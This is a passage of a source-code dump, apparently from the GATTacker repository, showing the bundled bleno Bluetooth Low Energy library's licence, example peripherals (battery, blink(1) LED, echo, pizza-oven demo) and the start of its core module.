| 24 | callback(null, data); 25 | } 26 | 27 | 28 | module.exports.customLog = customLog; -------------------------------------------------------------------------------- /img/gattacker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securing/gattacker/a8dd58cc10b1804cd1bc3c9f71a639a8bcfeee68/img/gattacker.png -------------------------------------------------------------------------------- /img/gattacker_nrf_replay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securing/gattacker/a8dd58cc10b1804cd1bc3c9f71a639a8bcfeee68/img/gattacker_nrf_replay.png -------------------------------------------------------------------------------- /lib/bleno/.npmignore: -------------------------------------------------------------------------------- 1 | lib-cov 2 | *.seed 3 | *.log 4 | *.csv 5 | *.dat 6 | *.out 7 | *.pid 8 | *.gz 9 | 10 | pids 11 | logs 12 | results 13 | 14 | npm-debug.log 15 | node_modules 16 | build 17 | -------------------------------------------------------------------------------- /lib/bleno/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013 Sandeep Mistry 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /lib/bleno/examples/battery-service/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | -------------------------------------------------------------------------------- /lib/bleno/examples/battery-service/README.md: -------------------------------------------------------------------------------- 1 | # BLE Battery Service 2 | 3 | This example provides a BLE battery service (0x180F) for your Mac. 4 | 5 | Install dependencies 6 | 7 | npm install 8 | 9 | Run the example 10 | 11 | node main.js 12 | -------------------------------------------------------------------------------- /lib/bleno/examples/battery-service/battery-level-characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | var os = require('os'); 3 | var exec = require('child_process').exec; 4 | 5 | var bleno = require('../..'); 6 | 7 | var Descriptor = bleno.Descriptor; 8 | var Characteristic = bleno.Characteristic; 9 | 10 | var BatteryLevelCharacteristic = function() { 11 | BatteryLevelCharacteristic.super_.call(this, { 12 | uuid: '2A19', 13 | properties: ['read'], 14 | descriptors: [ 15 | new Descriptor({ 16 | uuid: '2901', 17 | value: 'Battery level between 0 and 100 percent' 18 | }), 19 | new Descriptor({ 20 | uuid: '2904', 21 | value: new Buffer([0x04, 0x01, 0x27, 0xAD, 0x01, 0x00, 0x00 ]) // maybe 12 0xC unsigned 8 bit 22 | }) 23 | ] 24 | }); 25 | }; 26 | 27 | util.inherits(BatteryLevelCharacteristic, Characteristic); 28 | 29 | BatteryLevelCharacteristic.prototype.onReadRequest = function(offset, callback) { 30 | if (os.platform() === 'darwin') { 31 | exec('pmset -g batt', function (error, stdout, stderr) { 32 | var data = stdout.toString(); 33 | // data - 'Now drawing from \'Battery Power\'\n -InternalBattery-0\t95%; discharging; 4:11 remaining\n' 34 | var percent = data.split('\t')[1].split(';')[0]; 35 | console.log(percent); 36 | percent = parseInt(percent, 10); 37 | callback(this.RESULT_SUCCESS, new Buffer([percent])); 38 | }); 39 | } else { 40 | // return hardcoded value 41 | callback(this.RESULT_SUCCESS, new Buffer([98])); 42 | } 43 | }; 44 | 45 | module.exports = BatteryLevelCharacteristic; 46 | -------------------------------------------------------------------------------- /lib/bleno/examples/battery-service/battery-service.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('../..'); 4 | 5 | var BlenoPrimaryService = bleno.PrimaryService; 6 | 7 | var BatteryLevelCharacteristic = require('./battery-level-characteristic'); 8 | 9 | function BatteryService() { 10 | BatteryService.super_.call(this, { 11 | uuid: '180F', 12 | characteristics: [ 13 | new BatteryLevelCharacteristic() 14 | ] 15 | }); 16 | } 17 | 18 | util.inherits(BatteryService, BlenoPrimaryService); 19 | 20 | module.exports = BatteryService; 21 | -------------------------------------------------------------------------------- /lib/bleno/examples/battery-service/main.js: -------------------------------------------------------------------------------- 1 | /* 2 | NOTE: This example no longer works on OSX starting in 10.10 (Yosemite). Apple has apparently blacklisted the battery uuid. 3 | */ 4 | 5 | var bleno = require('../..'); 6 | var BatteryService = require('./battery-service'); 7 | 8 | var primaryService = new BatteryService(); 9 | 10 | bleno.on('stateChange', function(state) { 11 | console.log('on -> stateChange: ' + state); 12 | 13 | if (state === 'poweredOn') { 14 | bleno.startAdvertising('Battery', [primaryService.uuid]); 15 | } else { 16 | bleno.stopAdvertising(); 17 | } 18 | }); 19 | 20 | bleno.on('advertisingStart', function(error) { 21 | console.log('on -> advertisingStart: ' + (error ? 'error ' + error : 'success')); 22 | 23 | if (!error) { 24 | bleno.setServices([primaryService], function(error){ 25 | console.log('setServices: ' + (error ? 'error ' + error : 'success')); 26 | }); 27 | } 28 | }); 29 | -------------------------------------------------------------------------------- /lib/bleno/examples/battery-service/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "battery-service", 3 | "version": "0.1.0", 4 | "description": "BLE (Bluetooth Low Energy) Battery Service", 5 | "main": "index.js", 6 | "engines": { 7 | "node": ">=0.10" 8 | }, 9 | "os": [ 10 | "darwin", 11 | "linux" 12 | ], 13 | "author": { 14 | "name": "Don Coleman", 15 | "url" : "https://github.com/don" 16 | }, 17 | "dependencies": { 18 | "bleno": ">0.1.4" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /lib/bleno/examples/blink1/README.md: -------------------------------------------------------------------------------- 1 | bleno - [blink(1)](http://thingm.com/products/blink-1/) example 2 | =============================================== 3 | This example allows you to control a [ThingM](http://thingm.com/) [blink(1)](http://thingm.com/products/blink-1/) via BLE. 4 | 5 | It uses bleno and [node-blink1](https://github.com/sandeepmistry/node-blink1) and requires a blink(1) to be connected via USB. 6 | 7 | See [main file](https://github.com/sandeepmistry/bleno/blob/master/examples/blink1/main.js) for entry point. 8 | 9 | [Device Information service](https://github.com/sandeepmistry/bleno/blob/master/examples/blink1/device-information-service.js) 10 | ----------------------------------- 11 | 12 | UUID: [0x180A](https://developer.bluetooth.org/gatt/services/Pages/ServiceViewer.aspx?u=org.bluetooth.service.device_information.xml) 13 | 14 | __Characteristics:__ 15 | 16 | * [Serial Number](https://github.com/sandeepmistry/bleno/blob/master/examples/blink1/serial-number-characteristic.js) 17 | * UUID: [0x2a25](https://developer.bluetooth.org/gatt/characteristics/Pages/CharacteristicViewer.aspx?u=org.bluetooth.characteristic.serial_number_string.xml) 18 | * Properties: read 19 | * Description: read the blink(1)'s serial number 20 | 21 | * [Hardware Revision](https://github.com/sandeepmistry/bleno/blob/master/examples/blink1/hardware-revision-characteristic.js) 22 | * UUID: [0x2a27](https://developer.bluetooth.org/gatt/characteristics/Pages/CharacteristicViewer.aspx?u=org.bluetooth.characteristic.hardware_revision_string.xml) 23 | * Properties: read 24 | * Description: read the blink(1)'s version 25 | 26 | blink(1) service 27 | -------------------- 28 | UUID: 0x01010101010101010101010101010101 29 | 30 | __Characteristics:__ 31 | 32 | * [RGB](https://github.com/sandeepmistry/bleno/blob/master/examples/blink1/blink1-rgb-characteristic.js) 33 | * UUID: 01010101010101010101010101524742 34 | * Properties: write, write without response 35 | * Description: Set the blink(1)'s color 36 | * Data format is: RRGGBB (3 bytes) - single byte for each color 37 | 38 | * [Fade RGB](https://github.com/sandeepmistry/bleno/blob/master/examples/blink1/blink1-fade-rgb-characteristic.js) 39 | * UUID: 01010101010101010166616465524742 40 | * Properties: write, write without response, notify 41 | * Description: Fade the blink(1)'s color and notication when fade is complete 42 | * Data format is: TTTTRRGGBB (5 bytes) 43 | * TTTT - fade time in milliseconds (Little Endian) 44 | * RRGGBB (3 bytes) - single byte for each color 45 | -------------------------------------------------------------------------------- /lib/bleno/examples/blink1/blink1-fade-rgb-characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('../..'); 4 | var BlenoCharacteristic = bleno.Characteristic; 5 | var BlenoDescriptor = bleno.Descriptor; 6 | 7 | function Blink1FaceRGBCharacteristic(blink1) { 8 | Blink1FaceRGBCharacteristic.super_.call(this, { 9 | uuid: '01010101010101010166616465524742', 10 | properties: ['write', 'writeWithoutResponse', 'notify'], 11 | descriptors: [ 12 | new BlenoDescriptor({ 13 | uuid: '2901', 14 | value: 'fade blink(1) RGB value' 15 | }) 16 | ] 17 | }); 18 | 19 | this.blink1 = blink1; 20 | } 21 | 22 | util.inherits(Blink1FaceRGBCharacteristic, BlenoCharacteristic); 23 | 24 | Blink1FaceRGBCharacteristic.prototype.onWriteRequest = function(data, offset, withoutResponse, callback) { 25 | if (offset) { 26 | callback(this.RESULT_ATTR_NOT_LONG); 27 | } else if (data.length !== 5) { 28 | callback(this.RESULT_INVALID_ATTRIBUTE_LENGTH); 29 | } else { 30 | var fadeMillis = data.readUInt16LE(0); 31 | var r = data.readUInt8(2); 32 | var g = data.readUInt8(3); 33 | var b = data.readUInt8(4); 34 | 35 | this.blink1.fadeToRGB(fadeMillis, r, g, b, function() { 36 | if (this.updateValueCallback) { 37 | this.updateValueCallback(new Buffer([r, g, b])); 38 | } 39 | }.bind(this)); 40 | 41 | callback(this.RESULT_SUCCESS); 42 | } 43 | }; 44 | 45 | module.exports = Blink1FaceRGBCharacteristic; 46 | -------------------------------------------------------------------------------- /lib/bleno/examples/blink1/blink1-rgb-characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('../..'); 4 | var BlenoCharacteristic = bleno.Characteristic; 5 | var BlenoDescriptor = bleno.Descriptor; 6 | 7 | function Blink1RGBCharacteristic(blink1) { 8 | Blink1RGBCharacteristic.super_.call(this, { 9 | uuid: '01010101010101010101010101524742', 10 | properties: ['write', 'writeWithoutResponse'], 11 | descriptors: [ 12 | new BlenoDescriptor({ 13 | uuid: '2901', 14 | value: 'set blink(1) RGB value' 15 | }) 16 | ] 17 | }); 18 | 19 | this.blink1 = blink1; 20 | } 21 | 22 | util.inherits(Blink1RGBCharacteristic, BlenoCharacteristic); 23 | 24 | Blink1RGBCharacteristic.prototype.onWriteRequest = function(data, offset, withoutResponse, callback) { 25 | if (offset) { 26 | callback(this.RESULT_ATTR_NOT_LONG); 27 | } else if (data.length !== 3) { 28 | callback(this.RESULT_INVALID_ATTRIBUTE_LENGTH); 29 | } else { 30 | var r = data.readUInt8(0); 31 | var g = data.readUInt8(1); 32 | var b = data.readUInt8(2); 33 | 34 | this.blink1.setRGB(r, g, b, function() { 35 | callback(this.RESULT_SUCCESS); 36 | }.bind(this)); 37 | } 38 | }; 39 | 40 | module.exports = Blink1RGBCharacteristic; 41 | -------------------------------------------------------------------------------- /lib/bleno/examples/blink1/blink1-service.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('../..'); 4 | var BlenoPrimaryService = bleno.PrimaryService; 5 | 6 | var Blink1RGBCharacteristic = require('./blink1-rgb-characteristic'); 7 | var Blink1FadeRGBCharacteristic = require('./blink1-fade-rgb-characteristic'); 8 | 9 | function Blink1Service(blink1) { 10 | Blink1Service.super_.call(this, { 11 | uuid: '01010101010101010101010101010101', 12 | characteristics: [ 13 | new Blink1RGBCharacteristic(blink1), 14 | new Blink1FadeRGBCharacteristic(blink1) 15 | ] 16 | }); 17 | } 18 | 19 | util.inherits(Blink1Service, BlenoPrimaryService); 20 | 21 | module.exports = Blink1Service; 22 | -------------------------------------------------------------------------------- /lib/bleno/examples/blink1/device-information-service.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('../..'); 4 | var BlenoPrimaryService = bleno.PrimaryService; 5 | 6 | var SerialNumberCharacteristic = require('./serial-number-characteristic'); 7 | var HardwareRevisionCharacteristic = require('./hardware-revision-characteristic'); 8 | 9 | function DeviceInformationService(blink1) { 10 | DeviceInformationService.super_.call(this, { 11 | uuid: '180a', 12 | characteristics: [ 13 | new SerialNumberCharacteristic(blink1), 14 | new HardwareRevisionCharacteristic(blink1) 15 | ] 16 | }); 17 | } 18 | 19 | util.inherits(DeviceInformationService, BlenoPrimaryService); 20 | 21 | module.exports = DeviceInformationService; 22 | -------------------------------------------------------------------------------- /lib/bleno/examples/blink1/hardware-revision-characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('../..'); 4 | var BlenoCharacteristic = bleno.Characteristic; 5 | var BlenoDescriptor = bleno.Descriptor; 6 | 7 | function HardwareRevisionCharacteristic(blink1) { 8 | HardwareRevisionCharacteristic.super_.call(this, { 9 | uuid: '2a27', 10 | properties: ['read'], 11 | descriptors: [ 12 | new BlenoDescriptor({ 13 | uuid: '2901', 14 | value: 'blink(1) version' 15 | }) 16 | ] 17 | }); 18 | 19 | this.blink1 = blink1; 20 | } 21 | 22 | util.inherits(HardwareRevisionCharacteristic, BlenoCharacteristic); 23 | 24 | HardwareRevisionCharacteristic.prototype.onReadRequest = function(offset, callback) { 25 | if (offset) { 26 | callback(this.RESULT_ATTR_NOT_LONG, null); 27 | } else { 28 | this.blink1.version(function(version) { 29 | callback(this.RESULT_SUCCESS, new Buffer(version)); 30 | }.bind(this)); 31 | } 32 | }; 33 | 34 | module.exports = HardwareRevisionCharacteristic; 35 | -------------------------------------------------------------------------------- /lib/bleno/examples/blink1/main.js: -------------------------------------------------------------------------------- 1 | var Blink1 = require('node-blink1'); 2 | 3 | var bleno = require('../..'); 4 | 5 | var DeviceInformationService = require('./device-information-service'); 6 | var Blink1Service = require('./blink1-service'); 7 | 8 | var blink1 = new Blink1(); 9 | 10 | var deviceInformationService = new DeviceInformationService(blink1); 11 | var blink1Service = new Blink1Service(blink1); 12 | 13 | bleno.on('stateChange', function(state) { 14 | console.log('on -> stateChange: ' + state); 15 | 16 | if (state === 'poweredOn') { 17 | bleno.startAdvertising('blink1', [blink1Service.uuid]); 18 | } else { 19 | bleno.stopAdvertising(); 20 | } 21 | }); 22 | 23 | bleno.on('advertisingStart', function(error) { 24 | console.log('on -> advertisingStart: ' + (error ? 'error ' + error : 'success')); 25 | 26 | if (!error) { 27 | bleno.setServices([ 28 | deviceInformationService, 29 | blink1Service 30 | ]); 31 | } 32 | }); -------------------------------------------------------------------------------- /lib/bleno/examples/blink1/serial-number-characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('../..'); 4 | 5 | var BlenoCharacteristic = bleno.Characteristic; 6 | var BlenoDescriptor = bleno.Descriptor; 7 | 8 | function SerialNumberCharacteristic(blink1) { 9 | SerialNumberCharacteristic.super_.call(this, { 10 | uuid: '2a25', 11 | properties: ['read'], 12 | value: new Buffer(blink1.serialNumber), 13 | descriptors: [ 14 | new BlenoDescriptor({ 15 | uuid: '2901', 16 | value: 'blink(1) serial number' 17 | }) 18 | ] 19 | }); 20 | } 21 | 22 | util.inherits(SerialNumberCharacteristic, BlenoCharacteristic); 23 | 24 | module.exports = SerialNumberCharacteristic; 25 | -------------------------------------------------------------------------------- /lib/bleno/examples/echo/characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('../..'); 4 | 5 | var BlenoCharacteristic = bleno.Characteristic; 6 | 7 | var EchoCharacteristic = function() { 8 | EchoCharacteristic.super_.call(this, { 9 | uuid: 'ec0e', 10 | properties: ['read', 'write', 'notify'], 11 | value: null 12 | }); 13 | 14 | this._value = new Buffer(0); 15 | this._updateValueCallback = null; 16 | }; 17 | 18 | util.inherits(EchoCharacteristic, BlenoCharacteristic); 19 | 20 | EchoCharacteristic.prototype.onReadRequest = function(offset, callback) { 21 | console.log('EchoCharacteristic - onReadRequest: value = ' + this._value.toString('hex')); 22 | 23 | callback(this.RESULT_SUCCESS, this._value); 24 | }; 25 | 26 | EchoCharacteristic.prototype.onWriteRequest = function(data, offset, withoutResponse, callback) { 27 | this._value = data; 28 | 29 | console.log('EchoCharacteristic - onWriteRequest: value = ' + this._value.toString('hex')); 30 | 31 | if (this._updateValueCallback) { 32 | console.log('EchoCharacteristic - onWriteRequest: notifying'); 33 | 34 | this._updateValueCallback(this._value); 35 | } 36 | 37 | callback(this.RESULT_SUCCESS); 38 | }; 39 | 40 | EchoCharacteristic.prototype.onSubscribe = function(maxValueSize, updateValueCallback) { 41 | console.log('EchoCharacteristic - onSubscribe'); 42 | 43 | this._updateValueCallback = updateValueCallback; 44 | }; 45 | 46 | EchoCharacteristic.prototype.onUnsubscribe = function() { 47 | console.log('EchoCharacteristic - onUnsubscribe'); 48 | 49 | this._updateValueCallback = null; 50 | }; 51 | 52 | module.exports = EchoCharacteristic; 53 | -------------------------------------------------------------------------------- /lib/bleno/examples/echo/main.js: -------------------------------------------------------------------------------- 1 | var bleno = require('../..'); 2 | 3 | var BlenoPrimaryService = bleno.PrimaryService; 4 | 5 | var EchoCharacteristic = require('./characteristic'); 6 | 7 | console.log('bleno - echo'); 8 | 9 | bleno.on('stateChange', function(state) { 10 | console.log('on -> stateChange: ' + state); 11 | 12 | if (state === 'poweredOn') { 13 | bleno.startAdvertising('echo', ['ec00']); 14 | } else { 15 | bleno.stopAdvertising(); 16 | } 17 | }); 18 | 19 | bleno.on('advertisingStart', function(error) { 20 | console.log('on -> advertisingStart: ' + (error ? 'error ' + error : 'success')); 21 | 22 | if (!error) { 23 | bleno.setServices([ 24 | new BlenoPrimaryService({ 25 | uuid: 'ec00', 26 | characteristics: [ 27 | new EchoCharacteristic() 28 | ] 29 | }) 30 | ]); 31 | } 32 | }); 33 | -------------------------------------------------------------------------------- /lib/bleno/examples/pizza/README.md: -------------------------------------------------------------------------------- 1 | # BLE Pizza Service 2 | 3 | This is an example program demonstrating BLE connectivity between a peripheral running bleno, and a central running noble. 4 | 5 | The service represents a robotic pizza oven, with the following characteristics: 6 | 7 | * crust - read / write. A value representing the type of pizza crust (normal, thin, or deep dish) 8 | * toppings - read / write. A value representing which toppings to include (pepperoni, mushrooms, extra cheese, etc.) 9 | * bake - write / notify. The value written is the temperature at which to bake the pizza. When baking is finished, the central is notified with a bake result (half baked, crispy, burnt, etc.) 10 | 11 | To run the peripheral example: 12 | 13 | node peripheral 14 | 15 | And on another computer, connect as a central from [noble](https://github.com/sandeepmistry/noble/tree/master/examples/pizza). -------------------------------------------------------------------------------- /lib/bleno/examples/pizza/peripheral.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | // 4 | // Require bleno peripheral library. 5 | // https://github.com/sandeepmistry/bleno 6 | // 7 | var bleno = require('../..'); 8 | 9 | // 10 | // Pizza 11 | // * has crust 12 | // * has toppings 13 | // * can be baked 14 | // 15 | var pizza = require('./pizza'); 16 | 17 | // 18 | // The BLE Pizza Service! 19 | // 20 | var PizzaService = require('./pizza-service'); 21 | 22 | // 23 | // A name to advertise our Pizza Service. 24 | // 25 | var name = 'PizzaSquat'; 26 | var pizzaService = new PizzaService(new pizza.Pizza()); 27 | 28 | // 29 | // Wait until the BLE radio powers on before attempting to advertise. 30 | // If you don't have a BLE radio, then it will never power on! 31 | // 32 | bleno.on('stateChange', function(state) { 33 | if (state === 'poweredOn') { 34 | // 35 | // We will also advertise the service ID in the advertising packet, 36 | // so it's easier to find. 37 | // 38 | bleno.startAdvertising(name, [pizzaService.uuid], function(err) { 39 | if (err) { 40 | console.log(err); 41 | } 42 | }); 43 | } 44 | else { 45 | bleno.stopAdvertising(); 46 | } 47 | }); 48 | 49 | bleno.on('advertisingStart', function(err) { 50 | if (!err) { 51 | console.log('advertising...'); 52 | // 53 | // Once we are advertising, it's time to set up our services, 54 | // along with our characteristics. 55 | // 56 | bleno.setServices([ 57 | pizzaService 58 | ]); 59 | } 60 | }); 61 | -------------------------------------------------------------------------------- /lib/bleno/examples/pizza/pizza-bake-characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | var bleno = require('../..'); 3 | var pizza = require('./pizza'); 4 | 5 | function PizzaBakeCharacteristic(pizza) { 6 | bleno.Characteristic.call(this, { 7 | uuid: '13333333333333333333333333330003', 8 | properties: ['notify', 'write'], 9 | descriptors: [ 10 | new bleno.Descriptor({ 11 | uuid: '2901', 12 | value: 'Bakes the pizza and notifies when done baking.' 13 | }) 14 | ] 15 | }); 16 | 17 | this.pizza = pizza; 18 | } 19 | 20 | util.inherits(PizzaBakeCharacteristic, bleno.Characteristic); 21 | 22 | PizzaBakeCharacteristic.prototype.onWriteRequest = function(data, offset, withoutResponse, callback) { 23 | if (offset) { 24 | callback(this.RESULT_ATTR_NOT_LONG); 25 | } 26 | else if (data.length !== 2) { 27 | callback(this.RESULT_INVALID_ATTRIBUTE_LENGTH); 28 | } 29 | else { 30 | var temperature = data.readUInt16BE(0); 31 | var self = this; 32 | this.pizza.once('ready', function(result) { 33 | if (self.updateValueCallback) { 34 | var data = new Buffer(1); 35 | data.writeUInt8(result, 0); 36 | self.updateValueCallback(data); 37 | } 38 | }); 39 | this.pizza.bake(temperature); 40 | callback(this.RESULT_SUCCESS); 41 | } 42 | }; 43 | 44 | module.exports = PizzaBakeCharacteristic; -------------------------------------------------------------------------------- /lib/bleno/examples/pizza/pizza-crust-characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | var bleno = require('../..'); 3 | var pizza = require('./pizza'); 4 | 5 | function PizzaCrustCharacteristic(pizza) { 6 | bleno.Characteristic.call(this, { 7 | uuid: '13333333333333333333333333330001', 8 | properties: ['read', 'write'], 9 | descriptors: [ 10 | new bleno.Descriptor({ 11 | uuid: '2901', 12 | value: 'Gets or sets the type of pizza crust.' 13 | }) 14 | ] 15 | }); 16 | 17 | this.pizza = pizza; 18 | } 19 | 20 | util.inherits(PizzaCrustCharacteristic, bleno.Characteristic); 21 | 22 | PizzaCrustCharacteristic.prototype.onWriteRequest = function(data, offset, withoutResponse, callback) { 23 | if (offset) { 24 | callback(this.RESULT_ATTR_NOT_LONG); 25 | } 26 | else if (data.length !== 1) { 27 | callback(this.RESULT_INVALID_ATTRIBUTE_LENGTH); 28 | } 29 | else { 30 | var crust = data.readUInt8(0); 31 | switch (crust) { 32 | case pizza.PizzaCrust.NORMAL: 33 | case pizza.PizzaCrust.DEEP_DISH: 34 | case pizza.PizzaCrust.THIN: 35 | this.pizza.crust = crust; 36 | callback(this.RESULT_SUCCESS); 37 | break; 38 | default: 39 | callback(this.RESULT_UNLIKELY_ERROR); 40 | break; 41 | } 42 | } 43 | }; 44 | 45 | PizzaCrustCharacteristic.prototype.onReadRequest = function(offset, callback) { 46 | if (offset) { 47 | callback(this.RESULT_ATTR_NOT_LONG, null); 48 | } 49 | else { 50 | var data = new Buffer(1); 51 | data.writeUInt8(this.pizza.crust, 0); 52 | callback(this.RESULT_SUCCESS, data); 53 | } 54 | }; 55 | 56 | module.exports = PizzaCrustCharacteristic; -------------------------------------------------------------------------------- /lib/bleno/examples/pizza/pizza-service.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | var bleno = require('../..'); 3 | 4 | var PizzaCrustCharacteristic = require('./pizza-crust-characteristic'); 5 | var PizzaToppingsCharacteristic = require('./pizza-toppings-characteristic'); 6 | var PizzaBakeCharacteristic = require('./pizza-bake-characteristic'); 7 | 8 | function PizzaService(pizza) { 9 | bleno.PrimaryService.call(this, { 10 | uuid: '13333333333333333333333333333337', 11 | characteristics: [ 12 | new PizzaCrustCharacteristic(pizza), 13 | new PizzaToppingsCharacteristic(pizza), 14 | new PizzaBakeCharacteristic(pizza) 15 | ] 16 | }); 17 | } 18 | 19 | util.inherits(PizzaService, bleno.PrimaryService); 20 | 21 | module.exports = PizzaService; 22 | -------------------------------------------------------------------------------- /lib/bleno/examples/pizza/pizza-toppings-characteristic.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | var bleno = require('../..'); 3 | var pizza = require('./pizza'); 4 | 5 | function PizzaToppingsCharacteristic(pizza) { 6 | bleno.Characteristic.call(this, { 7 | uuid: '13333333333333333333333333330002', 8 | properties: ['read', 'write'], 9 | descriptors: [ 10 | new bleno.Descriptor({ 11 | uuid: '2901', 12 | value: 'Gets or sets the pizza toppings.' 13 | }) 14 | ] 15 | }); 16 | 17 | this.pizza = pizza; 18 | } 19 | 20 | util.inherits(PizzaToppingsCharacteristic, bleno.Characteristic); 21 | 22 | PizzaToppingsCharacteristic.prototype.onWriteRequest = function(data, offset, withoutResponse, callback) { 23 | if (offset) { 24 | callback(this.RESULT_ATTR_NOT_LONG); 25 | } 26 | else if (data.length !== 2) { 27 | callback(this.RESULT_INVALID_ATTRIBUTE_LENGTH); 28 | } 29 | else { 30 | this.pizza.toppings = data.readUInt16BE(0); 31 | callback(this.RESULT_SUCCESS); 32 | } 33 | }; 34 | 35 | PizzaToppingsCharacteristic.prototype.onReadRequest = function(offset, callback) { 36 | if (offset) { 37 | callback(this.RESULT_ATTR_NOT_LONG, null); 38 | } 39 | else { 40 | var data = new Buffer(2); 41 | data.writeUInt16BE(this.pizza.toppings, 0); 42 | callback(this.RESULT_SUCCESS, data); 43 | } 44 | }; 45 | 46 | module.exports = PizzaToppingsCharacteristic; -------------------------------------------------------------------------------- /lib/bleno/examples/pizza/pizza.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | var events = require('events'); 3 | 4 | var PizzaCrust = { 5 | NORMAL: 0, 6 | DEEP_DISH: 1, 7 | THIN: 2, 8 | }; 9 | 10 | var PizzaToppings = { 11 | NONE: 0, 12 | PEPPERONI: 1 << 0, 13 | MUSHROOMS: 1 << 1, 14 | EXTRA_CHEESE: 1 << 2, 15 | BLACK_OLIVES: 1 << 3, 16 | CANADIAN_BACON: 1 << 4, 17 | PINEAPPLE: 1 << 5, 18 | BELL_PEPPERS: 1 << 6, 19 | SAUSAGE: 1 << 7, 20 | }; 21 | 22 | var PizzaBakeResult = { 23 | HALF_BAKED: 0, 24 | BAKED: 1, 25 | CRISPY: 2, 26 | BURNT: 3, 27 | ON_FIRE: 4 28 | }; 29 | 30 | function Pizza() { 31 | events.EventEmitter.call(this); 32 | this.toppings = PizzaToppings.NONE; 33 | this.crust = PizzaCrust.NORMAL; 34 | } 35 | 36 | util.inherits(Pizza, events.EventEmitter); 37 | 38 | Pizza.prototype.bake = function(temperature) { 39 | var time = temperature * 10; 40 | var self = this; 41 | console.log('baking pizza at', temperature, 'degrees for', time, 'milliseconds'); 42 | setTimeout(function() { 43 | var result = 44 | (temperature < 350) ? PizzaBakeResult.HALF_BAKED: 45 | (temperature < 450) ? PizzaBakeResult.BAKED: 46 | (temperature < 500) ? PizzaBakeResult.CRISPY: 47 | (temperature < 600) ? PizzaBakeResult.BURNT: 48 | PizzaBakeResult.ON_FIRE; 49 | self.emit('ready', result); 50 | }, time); 51 | }; 52 | 53 | module.exports.Pizza = Pizza; 54 | module.exports.PizzaToppings = PizzaToppings; 55 | module.exports.PizzaCrust = PizzaCrust; 56 | module.exports.PizzaBakeResult = PizzaBakeResult; 57 | -------------------------------------------------------------------------------- /lib/bleno/index.js: -------------------------------------------------------------------------------- 1 | var Bleno = require('./lib/bleno'); 2 | 3 | module.exports = new Bleno(); 4 | -------------------------------------------------------------------------------- /lib/bleno/lib/bleno.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('bleno'); 2 | 3 | var events = require('events'); 4 | var os = require('os'); 5 | var util = require('util'); 6 | 7 | var UuidUtil = require('./uuid-util'); 8 | 9 | var PrimaryService = require('./primary-service'); 10 | var Characteristic = require('./characteristic'); 11 | var Descriptor = require('./descriptor'); 12 | 13 | var bindings = null; 14 | 15 | var platform = os.platform(); 16 | 17 | if (platform === 'darwin') { 18 | bindings = require('./mac/bindings'); 19 | } else if (platform === 'linux' || platform === 'win32') { 20 | bindings = require('./hci-socket/bindings'); 21 | } else { 22 | throw new Error('Unsupported platform'); 23 | } 24 | 25 | function Bleno() { 26 | this.platform = 'unknown'; 27 | this.state = 'unknown'; 28 | this.address = 'unknown'; 29 | this.rssi = 0; 30 | this.mtu = 20; 31 | 32 | this._bindings = bindings; 33 | 34 | this._bindings.on('stateChange', this.onStateChange.bind(this)); 35 | this._bindings.on('platform', this.onPlatform.bind(this)); 36 | this._bindings.on('addressChange', this.onAddressChange.bind(this)); 37 | this._bindings.on('advertisingStart', this.onAdvertisingStart.bind(this)); 38 | this._bindings.on('advertisingStop', this.onAdvertisingStop.bind(this)); 39 | this._bindings.on('servicesSet', this.onServicesSet.bind(this)); 40 | this._bindings.on('accept', this.onAccept.bind(this)); 41 | this._bindings.on('mtuChange', this.onMtuChange.bind(this)); 42 | this._bindings.on('disconnect', this.onDisconnect.bind(this)); 43 | 44 | this._bindings.on('rssiUpdate', this.onRssiUpdate.bind(this)); 45 | 46 | this._bindings.init(); 47 | } 48 | 49 | util.inherits(Bleno, events.EventEmitter); 50 | 51 | Bleno.prototype.PrimaryService = PrimaryService; 52 | Bleno.prototype.Characteristic = Characteristic; 53 | Bleno.prototype.Descriptor = Descriptor; 54 | 55 | Bleno.prototype.onPlatform = function(platform) { 56 | debug('platform ' + platform); 57 | 58 | this.platform = platform; 59 | }; 60 | 